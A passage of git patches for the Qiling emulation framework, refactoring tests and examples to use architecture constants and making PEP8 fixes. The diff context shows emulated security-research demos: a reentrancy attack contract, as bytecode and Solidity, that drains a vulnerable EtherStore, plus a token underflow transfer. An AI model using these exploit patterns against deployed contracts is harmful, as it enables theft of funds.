qiling.extensions.r2.r2 import R2 @@ -19,7 +19,7 @@ @unittest.skipUnless(test_r2, 'libr is missing') class R2Test(unittest.TestCase): def test_shellcode_disasm(self): - ql = Qiling(code=EVM_CODE, archtype="evm", verbose=QL_VERBOSE.DISABLED) + ql = Qiling(code=EVM_CODE, archtype=QL_ARCH.EVM, verbose=QL_VERBOSE.DISABLED) r2 = R2(ql) pd = r2._cmd("pd 32") self.assertTrue('callvalue' in pd) diff --git a/tests/test_shellcode.py b/tests/test_shellcode.py index 3aa0adb9c..4d3974153 100644 --- a/tests/test_shellcode.py +++ b/tests/test_shellcode.py @@ -8,7 +8,7 @@ sys.path.append("..") from qiling import Qiling -from qiling.const import QL_INTERCEPT, QL_VERBOSE +from qiling.const import QL_ARCH, QL_OS, QL_INTERCEPT, QL_VERBOSE # test = bytes.fromhex('cccc') @@ -89,17 +89,17 @@ def graceful_execve(ql: Qiling, pathname: int, argv: int, envp: int, retval: int class TestShellcode(unittest.TestCase): def test_linux_x86(self): print("Linux X86 32bit Shellcode") - ql = Qiling(code=X86_LIN, archtype="x86", ostype="linux", verbose=QL_VERBOSE.OFF) + ql = Qiling(code=X86_LIN, archtype=QL_ARCH.X86, ostype=QL_OS.LINUX, verbose=QL_VERBOSE.OFF) ql.run() def test_linux_x64(self): print("Linux X86 64bit Shellcode") - ql = Qiling(code=X8664_LIN, archtype="x8664", ostype="linux", verbose=QL_VERBOSE.OFF) + ql = Qiling(code=X8664_LIN, archtype=QL_ARCH.X8664, ostype=QL_OS.LINUX, verbose=QL_VERBOSE.OFF) ql.run() def test_linux_mips32(self): print("Linux MIPS 32bit EL Shellcode") - ql = Qiling(code=MIPS32EL_LIN, archtype="mips", ostype="linux", verbose=QL_VERBOSE.OFF) + ql = Qiling(code=MIPS32EL_LIN, archtype=QL_ARCH.MIPS, ostype=QL_OS.LINUX, verbose=QL_VERBOSE.OFF) ql.os.set_syscall('execve', graceful_execve, QL_INTERCEPT.EXIT) ql.run() @@ -107,17 +107,17 @@ def test_linux_mips32(self): # This shellcode needs to be changed to something non-blocking def test_linux_arm(self): print("Linux ARM 32bit Shellcode") - ql = Qiling(code=ARM_LIN, archtype="arm", ostype="linux", verbose=QL_VERBOSE.OFF) + ql = Qiling(code=ARM_LIN, archtype=QL_ARCH.ARM, ostype=QL_OS.LINUX, verbose=QL_VERBOSE.OFF) ql.run() def test_linux_arm_thumb(self): print("Linux ARM Thumb Shllcode") - ql = Qiling(code=ARM_THUMB, archtype="arm", ostype="linux", verbose=QL_VERBOSE.OFF, thumb=True) + ql = Qiling(code=ARM_THUMB, archtype=QL_ARCH.ARM, ostype=QL_OS.LINUX, verbose=QL_VERBOSE.OFF, thumb=True) ql.run() def test_linux_arm64(self): print("Linux ARM 64bit Shellcode") - ql = Qiling(code=ARM64_LIN, archtype="arm64", ostype="linux", verbose=QL_VERBOSE.OFF) + ql = Qiling(code=ARM64_LIN, archtype=QL_ARCH.ARM64, ostype=QL_OS.LINUX, verbose=QL_VERBOSE.OFF) ql.os.set_syscall('execve', graceful_execve, QL_INTERCEPT.EXIT) ql.run() @@ -125,37 +125,29 @@ def test_linux_arm64(self): # #This shellcode needs to be changed to something simpler not requiring rootfs # def test_windows_x86(self): # print("Windows X86 32bit Shellcode") - # ql = Qiling(code=X86_WIN, archtype="x86", ostype="windows", rootfs="../examples/rootfs/x86_reactos", verbose=QL_VERBOSE.OFF) + # ql = Qiling(code=X86_WIN, archtype=QL_ARCH.X86, ostype=QL_OS.WINDOWS, rootfs="../examples/rootfs/x86_reactos", verbose=QL_VERBOSE.OFF) # ql.run() # #This shellcode needs to be changed to something simpler not requiring rootfs # def test_windows_x64(self): # print("\nWindows X8664 64bit Shellcode") - # ql = Qiling(code=X8664_WIN, archtype="x8664", ostype="windows", rootfs="../examples/rootfs/x86_reactos", verbose=QL_VERBOSE.OFF) + # ql = Qiling(code=X8664_WIN, archtype=QL_ARCH.X8664, ostype=QL_OS.WINDOWS, rootfs="../examples/rootfs/x86_reactos", verbose=QL_VERBOSE.OFF) # ql.run() # #This shellcode needs to be changed to something simpler, listen is blocking # def test_freebsd_x64(self): # print("FreeBSD X86 64bit Shellcode") - # ql = Qiling(code=X8664_FBSD, archtype="x8664", ostype="freebsd", verbose=QL_VERBOSE.OFF) + # ql = Qiling(code=X8664_FBSD, archtype=QL_ARCH.X8664, ostype=QL_OS.FREEBSD, verbose=QL_VERBOSE.OFF) # ql.run() # def test_macos_x64(self): # print("macos X86 64bit Shellcode") - # ql = Qiling(code=X8664_macos, archtype="x8664", ostype="macos", verbose=QL_VERBOSE.OFF) + # ql = Qiling(code=X8664_macos, archtype=QL_ARCH.X8664, ostype=QL_OS.MACOS, verbose=QL_VERBOSE.OFF) # ql.run() - # def test_invalid_os(self): - # print("Testing Unknown OS") - # self.assertRaises(QlErrorOsType, Qiling, code=test, archtype="arm64", ostype="qilingos", verbose=QL_VERBOSE.DEFAULT ) - - # def test_invalid_arch(self): - # print("Testing Unknown Arch") - # self.assertRaises(QlErrorArch, Qiling, code=test, archtype="qilingarch", ostype="linux", verbose=QL_VERBOSE.DEFAULT ) - # def test_invalid_output(self): # print("Testing Invalid output") - # self.assertRaises(QlErrorOutput, Qiling, code=test, archtype="arm64", ostype="linux", verbose=QL_VERBOSE.DEFAULT ) + # self.assertRaises(QlErrorOutput, Qiling, code=test, archtype=QL_ARCH.ARM, ostype=QL_OS.LINUX, verbose=QL_VERBOSE.DEFAULT) if __name__ == "__main__": From 4860f958cbfb6dfe05ef56c02f416097188dae62 Mon Sep 17 00:00:00 2001 From: elicn Date: Sun, 18 Jun 2023 01:17:00 +0300 Subject: [PATCH 090/103] Opportunistic PEP8 fixes --- examples/adcache_x86_windows_debug.py | 3 +- examples/doogie_8086_crack.py | 28 +- examples/evm/evm_Hexagon_overflow.py | 14 +- examples/evm/evm_debugger.py | 4 +- examples/evm/evm_reentrancy.py | 12 +- examples/evm/evm_reentrancy_vol.py | 26 +- examples/evm/evm_simple_sc.py | 8 +- examples/evm/fuzzing/underflow_test.py | 8 +- examples/extensions/r2/hello_r2.py | 11 +- .../report/hello_x86_windows_json.py | 3 +- .../dlink_dir815/dir815_mips32el_linux.py | 14 +- examples/fuzzing/stm32f429/fuzz.py | 20 +- .../tenda_ac15/fuzz_tendaac15_httpd.py | 13 +- examples/hello_arm_uboot.py | 3 +- examples/mcu/gd32vf103_blink.py | 5 +- examples/mcu/stm32f407_hack_lock.py | 8 +- examples/mcu/stm32f411_dma_logger.py | 10 +- examples/mcu/stm32f411_freertos.py | 7 +- examples/mcu/stm32f411_gpio_hook.py | 5 +- examples/mcu/stm32f411_i2c_lcd.py | 24 +- examples/mcu/stm32f411_interact_usart.py | 12 +- examples/mcu/stm32f411_spi_oled12864.py | 2 +- qiling/core.py | 8 +- qiling/os/windows/windows.py | 11 +- qiling/utils.py | 2 +- qltool | 21 +- tests/test_blob.py | 5 +- tests/test_debugger.py | 15 +- tests/test_edl.py | 72 +++-- tests/test_elf.py | 305 ++++++++---------- tests/test_evm.py | 22 +- tests/test_macho.py | 11 +- tests/test_mcu.py | 35 +- tests/test_perf.py | 27 +- tests/test_peshellcode.py | 8 +- tests/test_posix.py | 9 +- tests/test_qltool.py | 23 +- tests/test_qnx.py | 15 +- tests/test_r2.py | 32 +- tests/test_shellcode.py | 3 +- tests/test_windows_stdio.py | 8 +- 41 files changed, 468 insertions(+), 404 deletions(-) diff --git a/examples/adcache_x86_windows_debug.py b/examples/adcache_x86_windows_debug.py index b2ddd9f25..fd9035315 100644 --- a/examples/adcache_x86_windows_debug.py +++ b/examples/adcache_x86_windows_debug.py @@ -3,10 +3,11 @@ # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # +from zipfile import ZipFile + import sys sys.path.append("..") -from zipfile import ZipFile from qiling import Qiling from qiling.const import QL_ARCH, QL_OS, QL_VERBOSE diff --git a/examples/doogie_8086_crack.py b/examples/doogie_8086_crack.py index 35dc43b90..8553a9309 100644 --- a/examples/doogie_8086_crack.py +++ b/examples/doogie_8086_crack.py @@ -1,15 +1,22 @@ #!/usr/bin/env python3 -# +# # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # -import sys, curses, math, struct, string, time +import curses +import math +import string +import time + +from struct import pack + +import sys sys.path.append("..") -from qiling import * + +from qiling import Qiling from qiling.const import * from qiling.os.disk import QlDisk from qiling.os.dos.utils import BIN2BCD -from struct import pack # https://stackoverflow.com/questions/9829578/fast-way-of-counting-non-zero-bits-in-positive-integer @@ -129,9 +136,7 @@ def show_once(ql: Qiling, key): # In this stage, we show every key. def third_stage(keys): # To setup terminal again, we have to restart the whole program. - ql = Qiling(["rootfs/8086/doogie/doogie.DOS_MBR"], - "rootfs/8086", - console=False) + ql = Qiling(["rootfs/8086/doogie/doogie.DOS_MBR"], "rootfs/8086", console=False) ql.add_fs_mapper(0x80, QlDisk("rootfs/8086/doogie/doogie.DOS_MBR", 0x80)) ql.os.set_api((0x1a, 4), set_required_datetime, QL_INTERCEPT.EXIT) hk = ql.hook_code(stop, begin=0x8018, end=0x8018) @@ -170,21 +175,22 @@ def read_until_zero(ql: Qiling, addr): addr += 1 return buf + def set_required_datetime(ql: Qiling): ql.log.info("Setting Feburary 06, 1990") ql.arch.regs.ch = BIN2BCD(19) - ql.arch.regs.cl = BIN2BCD(1990%100) + ql.arch.regs.cl = BIN2BCD(1990 % 100) ql.arch.regs.dh = BIN2BCD(2) ql.arch.regs.dl = BIN2BCD(6) + def stop(ql, addr, data): ql.emu_stop() + # In this stage, we get the encrypted data which xored with the specific date. def first_stage(): - ql = Qiling(["rootfs/8086/doogie/doogie.DOS_MBR"], - "rootfs/8086", - console=False) + ql = Qiling(["rootfs/8086/doogie/doogie.DOS_MBR"], "rootfs/8086", console=False) ql.add_fs_mapper(0x80, QlDisk("rootfs/8086/doogie/doogie.DOS_MBR", 0x80)) # Doogie suggests that the datetime should be 1990-02-06. ql.os.set_api((0x1a, 4), set_required_datetime, QL_INTERCEPT.EXIT) diff --git a/examples/evm/evm_Hexagon_overflow.py b/examples/evm/evm_Hexagon_overflow.py index 2dfdcc6e3..c26f0938d 100644 --- a/examples/evm/evm_Hexagon_overflow.py +++ b/examples/evm/evm_Hexagon_overflow.py @@ -1,5 +1,5 @@ #!/usr/bin/env python3 -# +# # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # @@ -7,9 +7,9 @@ # https://www.anquanke.com/post/id/145520 import sys - sys.path.append("../..") -from qiling import * + +from qiling import Qiling from qiling.const import QL_ARCH @@ -37,9 +37,10 @@ def check_balance(sender, destination): # # SMART CONTRACT DEPENDENT: transform from user1 to user2 call_data = '0xa9059cbb'+ ql.arch.evm.abi.convert(['address'], [user2]) + \ ql.arch.evm.abi.convert(['uint256'], [0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe]) - msg1 = ql.arch.evm.create_message(user1, c1, data=call_data) + msg1 = ql.arch.evm.create_message(user1, c1, data=call_data) result = ql.run(code=msg1) - if int(result.output.hex()[2:], 16) == 1: + + if int(result.output.hex()[2:], 16) == 1: print('User1 transfered Token to User1') # # SMART CONTRACT DEPENDENT: User1 balance underflow, MAX - 1 @@ -49,5 +50,6 @@ def check_balance(sender, destination): result = check_balance(user2, c1) print('User2 final balance =', int(result.output.hex()[2:], 16)) + if __name__ == "__main__": - example_run_evm() \ No newline at end of file + example_run_evm() diff --git a/examples/evm/evm_debugger.py b/examples/evm/evm_debugger.py index 0d593cca7..9a6e53954 100644 --- a/examples/evm/evm_debugger.py +++ b/examples/evm/evm_debugger.py @@ -1,11 +1,11 @@ #!/usr/bin/env python3 -# +# # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # import sys - sys.path.append("../..") + from qiling import Qiling from qiling.const import QL_ARCH diff --git a/examples/evm/evm_reentrancy.py b/examples/evm/evm_reentrancy.py index 73f63237a..09100f6cd 100644 --- a/examples/evm/evm_reentrancy.py +++ b/examples/evm/evm_reentrancy.py @@ -1,12 +1,12 @@ #!/usr/bin/env python3 -# +# # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # import sys - sys.path.append("../..") -from qiling import * + +from qiling import Qiling from qiling.arch.evm.vm.utils import bytecode_to_bytes, runtime_code_detector from qiling.arch.evm.vm.vm import BaseVM from qiling.arch.evm.constants import CREATE_CONTRACT_ADDRESS @@ -29,9 +29,9 @@ ql.arch.evm.create_account(C2) ql.arch.evm.create_account(User1, 100*10**18) ql.arch.evm.create_account(User2, 100*10**18) - + EtherStore_contract = '0x6080604052670de0b6b3a764000060005534801561001c57600080fd5b506103b08061002c6000396000f30060806040526004361061006d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631031ec3114610072578063155dd5ee146100c957806327e235e3146100f65780637ddfe78d1461014d578063e2c41dbc14610178575b600080fd5b34801561007e57600080fd5b506100b3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610182565b6040518082815260200191505060405180910390f35b3480156100d557600080fd5b506100f46004803603810190808035906020019092919050505061019a565b005b34801561010257600080fd5b50610137600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610317565b6040518082815260200191505060405180910390f35b34801561015957600080fd5b5061016261032f565b6040518082815260200191505060405180910390f35b610180610335565b005b60016020528060005260406000206000915090505481565b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156101e857600080fd5b60005481111515156101f957600080fd5b62093a80600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401421015151561024c57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168160405160006040518083038185875af192505050151561028357600080fd5b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555042600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60026020528060005260406000206000915090505481565b60005481565b34600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505600a165627a7a72305820707bf0ae11ce52ff7b7846ede3497d41b6fadea29579773fc70e8e61c0f549f10029' - + print('Init Victim balance is', vm.state.get_balance(User1)/10**18) print('Init Attacker balance is', vm.state.get_balance(User2)/10**18) @@ -67,7 +67,7 @@ res_code = bytecode_to_bytes(res.output) runtime_code, aux_data, constructor_args = runtime_code_detector(res_code) rt_code1 = bytecode_to_bytes(runtime_code) - + print('\n------ Attacker deposit 1 ETH to DeFi contract, Start Reentrancy Attack') # 4. User2 pwnEtherStore with 1ETH call_data = '0xa75e4625' + ql.arch.evm.abi.convert(['bytes4'], [bytecode_to_bytes('0xe2c41dbc')]) + ql.arch.evm.abi.convert(['bytes4'], [bytecode_to_bytes('0x155dd5ee')]) diff --git a/examples/evm/evm_reentrancy_vol.py b/examples/evm/evm_reentrancy_vol.py index c7be400c2..965922a7c 100644 --- a/examples/evm/evm_reentrancy_vol.py +++ b/examples/evm/evm_reentrancy_vol.py @@ -1,12 +1,12 @@ #!/usr/bin/env python3 -# +# # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # import sys - sys.path.append("../..") -from qiling import * + +from qiling import Qiling from qiling.arch.evm.vm.utils import bytecode_to_bytes, runtime_code_detector from qiling.arch.evm.vm.vm import BaseVM from qiling.arch.evm.constants import CREATE_CONTRACT_ADDRESS @@ -15,7 +15,7 @@ def template(vic_contract, deposit, withdraw): Attack_contract = '0x608060405234801561001057600080fd5b506040516020806104b883398101806040528101908080519060200190929190505050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050610435806100836000396000f30060806040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063a75e462514610179578063ff11e1db146101e1575b670de0b6b3a76400006000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16311115610177576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600060149054906101000a90047c0100000000000000000000000000000000000000000000000000000000027c01000000000000000000000000000000000000000000000000000000009004670de0b6b3a76400006040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1681526020019150506000604051808303816000875af192505050505b005b6101df60048036038101908080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916906020019092919080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690602001909291905050506101f8565b005b3480156101ed57600080fd5b506101f66103a9565b005b80600060146101000a81548163ffffffff02191690837c010000000000000000000000000000000000000000000000000000000090040217905550670de0b6b3a7640000341015151561024a57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000837c01000000000000000000000000000000000000000000000000000000009004906040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040160006040518083038185885af19350505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16817c01000000000000000000000000000000000000000000000000000000009004670de0b6b3a76400006040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1681526020019150506000604051808303816000875af192505050505050565b3373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015610406573d6000803e3d6000fd5b505600a165627a7a723058205aacb19a5864d2c460aed6c844f2aca575d87de6477ac757a72511bb2975b3f80029' - + ql = Qiling(code=Attack_contract, archtype=QL_ARCH.EVM) vm:BaseVM = ql.arch.evm.vm @@ -31,7 +31,7 @@ def template(vic_contract, deposit, withdraw): EtherStore_contract = vic_contract - + print('Init Victim balance is', vm.state.get_balance(User1)/10**18) print('Init Attacker balance is', vm.state.get_balance(User2)/10**18) @@ -67,7 +67,7 @@ def template(vic_contract, deposit, withdraw): res_code = bytecode_to_bytes(res.output) runtime_code, aux_data, constructor_args = runtime_code_detector(res_code) rt_code1 = bytecode_to_bytes(runtime_code) - + print('\n------ Attacker deposit 1 ETH to DeFi contract, Start Reentrancy Attack') # 4. User2 pwnEtherStore with 1ETH call_data = '0xa75e4625' + ql.arch.evm.abi.convert(['bytes4'], [bytecode_to_bytes(deposit)]) + ql.arch.evm.abi.convert(['bytes4'], [bytecode_to_bytes(withdraw)]) @@ -89,7 +89,7 @@ def template(vic_contract, deposit, withdraw): contract_1 = '0x6080604052670de0b6b3a764000060005534801561001c57600080fd5b506103b08061002c6000396000f30060806040526004361061006d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631031ec3114610072578063155dd5ee146100c957806327e235e3146100f65780637ddfe78d1461014d578063e2c41dbc14610178575b600080fd5b34801561007e57600080fd5b506100b3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610182565b6040518082815260200191505060405180910390f35b3480156100d557600080fd5b506100f46004803603810190808035906020019092919050505061019a565b005b34801561010257600080fd5b50610137600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610317565b6040518082815260200191505060405180910390f35b34801561015957600080fd5b5061016261032f565b6040518082815260200191505060405180910390f35b610180610335565b005b60016020528060005260406000206000915090505481565b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156101e857600080fd5b60005481111515156101f957600080fd5b62093a80600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401421015151561024c57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168160405160006040518083038185875af192505050151561028357600080fd5b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555042600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60026020528060005260406000206000915090505481565b60005481565b34600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505600a165627a7a72305820707bf0ae11ce52ff7b7846ede3497d41b6fadea29579773fc70e8e61c0f549f10029' c1_deposit = '0xe2c41dbc' c1_withdraw = '0x155dd5ee' - + contract_2 = '0x608060405234801561001057600080fd5b5033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506106dc806100616000396000f300608060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630c08bf881461014d578063590e1ae314610164578063a9059cbb1461017b578063e42c08f2146101c8575b600080339150349050600060648281151561007957fe5b0614151561008657600080fd5b60648181151561009257fe5b046000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055507fc848a0bc6fc10f63d456eae535b952f8768bfd21d409b4933f8032cce0432ea48183604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a15050005b34801561015957600080fd5b5061016261021f565b005b34801561017057600080fd5b50610179610312565b005b34801561018757600080fd5b506101c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610434565b005b3480156101d457600080fd5b50610209600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610658565b6040518082815260200191505060405180910390f35b600034111561022d57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561028957600080fd5b7fedf2f7451a6c99c99b58baaddbe18df51bec156fe6ae8dd3ea730168326f94cd3073ffffffffffffffffffffffffffffffffffffffff16316040518082815260200191505060405180910390a1600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b600080600034111561032357600080fd5b3391506000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600081141561037557600080fd5b61038160648202610670565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f658eefd1c566207ffd3fb44f4d9b1e443698a39f8a6f7b134b3fef529e3f3f028183604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a15050565b60008034111561044357600080fd5b339050816000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561049157600080fd5b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401101561051c57600080fd5b816000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055507fa25be434081445744d5b297a785f7b7073142ae4bcd91a0e7aa802f802b4e0c7828285604051808481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001935050505060405180910390a1505050565b60006020528060005260406000206000915090505481565b60003373ffffffffffffffffffffffffffffffffffffffff168260405160006040518083038185875af19250505090508015156106ac57600080fd5b50505600a165627a7a72305820e5031f476480cd5d80ec7b267c7bf4c672137328294cb6b71bbb631ce9b99fc20029' c2_deposit = '' c2_withdraw = '0x590e1ae3' @@ -104,11 +104,11 @@ def template(vic_contract, deposit, withdraw): # contract Attack { # address victim; # bytes4 withdraw_id; - +# # constructor(address addr) { # victim = addr; # } - +# # function pwn(bytes4 deposit, bytes4 withdraw) public payable { # withdraw_id = withdraw; # // attack to the nearest ether @@ -116,19 +116,19 @@ def template(vic_contract, deposit, withdraw): # // send eth to the depositFunds() function # victim.call.value(1 ether)(deposit); # victim.call(withdraw, 1 ether); - +# # //etherStore.depositFunds.value(1 ether)(); # // start the magic # //etherStore.withdrawFunds(1 ether); # } - +# # function collectEther() public { # msg.sender.transfer(this.balance); # } - +# # function () payable { # if (victim.balance > 1 ether) { # victim.call(withdraw_id,1 ether); # } # } -# } \ No newline at end of file +# } diff --git a/examples/evm/evm_simple_sc.py b/examples/evm/evm_simple_sc.py index 54eed51b4..081e2be20 100644 --- a/examples/evm/evm_simple_sc.py +++ b/examples/evm/evm_simple_sc.py @@ -1,17 +1,17 @@ #!/usr/bin/env python3 -# +# # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # import sys - sys.path.append("../..") + from qiling import Qiling from qiling.const import QL_ARCH def example_run_evm(): - + contract = '0x6060604052341561000f57600080fd5b60405160208061031c833981016040528080519060200190919050508060018190556000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050610299806100836000396000f300606060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806318160ddd1461005c57806370a0823114610085578063a9059cbb146100d2575b600080fd5b341561006757600080fd5b61006f61012c565b6040518082815260200191505060405180910390f35b341561009057600080fd5b6100bc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610132565b6040518082815260200191505060405180910390f35b34156100dd57600080fd5b610112600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061017a565b604051808215151515815260200191505060405180910390f35b60015481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403101515156101cb57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060019050929150505600a165627a7a7230582098f1551a391a3e65b3ce45cfa2b3fa5f91eea9a3e7181a81454e025ea0d7151c0029' ql = Qiling(code=contract, archtype=QL_ARCH.EVM) @@ -40,7 +40,7 @@ def check_balance(sender, destination): call_data = '0xa9059cbb'+ ql.arch.evm.abi.convert(['address'], [user2]) + \ ql.arch.evm.abi.convert(['uint256'], [21]) # print('Transfer Calldata Code: ' + call_data) - msg1 = ql.arch.evm.create_message(user1, c1, call_data) + msg1 = ql.arch.evm.create_message(user1, c1, call_data) result = ql.run(code=msg1) if int(result.output.hex()[2:], 16) == 1: print('User1 transfered 21 Token to User2') diff --git a/examples/evm/fuzzing/underflow_test.py b/examples/evm/fuzzing/underflow_test.py index 10fa8ed7e..6fec1af2c 100644 --- a/examples/evm/fuzzing/underflow_test.py +++ b/examples/evm/fuzzing/underflow_test.py @@ -1,18 +1,18 @@ #!/usr/bin/env python3 -# +# # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # import sys - sys.path.append("../../../..") -from qiling import * from qiling import Qiling from qiling.const import QL_ARCH + def underflow(fuzz_balance): code = '0x6060604052341561000f57600080fd5b60405160208061031c833981016040528080519060200190919050508060018190556000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050610299806100836000396000f300606060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806318160ddd1461005c57806370a0823114610085578063a9059cbb146100d2575b600080fd5b341561006757600080fd5b61006f61012c565b6040518082815260200191505060405180910390f35b341561009057600080fd5b6100bc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610132565b6040518082815260200191505060405180910390f35b34156100dd57600080fd5b610112600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061017a565b604051808215151515815260200191505060405180910390f35b60015481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403101515156101cb57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060019050929150505600a165627a7a7230582098f1551a391a3e65b3ce45cfa2b3fa5f91eea9a3e7181a81454e025ea0d7151c0029' + ql = Qiling(code=code, archtype=QL_ARCH.EVM) # Add Balance Var to the contract @@ -38,7 +38,7 @@ def check_balance(sender, destination): # SMART CONTRACT DEPENDENT: transform 21 from user1 to user2 call_data = '0xa9059cbb'+ ql.arch.evm.abi.convert(['address'], [user2]) + \ ql.arch.evm.abi.convert(['uint256'], [fuzz_balance]) - msg1 = ql.arch.evm.create_message(user1, c1, call_data) + msg1 = ql.arch.evm.create_message(user1, c1, call_data) result = ql.run(code=msg1) # SMART CONTRACT DEPENDENT: User1 balance underflow, MAX - 1 diff --git a/examples/extensions/r2/hello_r2.py b/examples/extensions/r2/hello_r2.py index e2919da6f..88fbdc51f 100644 --- a/examples/extensions/r2/hello_r2.py +++ b/examples/extensions/r2/hello_r2.py @@ -15,6 +15,7 @@ def func(ql: Qiling, *args, **kwargs): 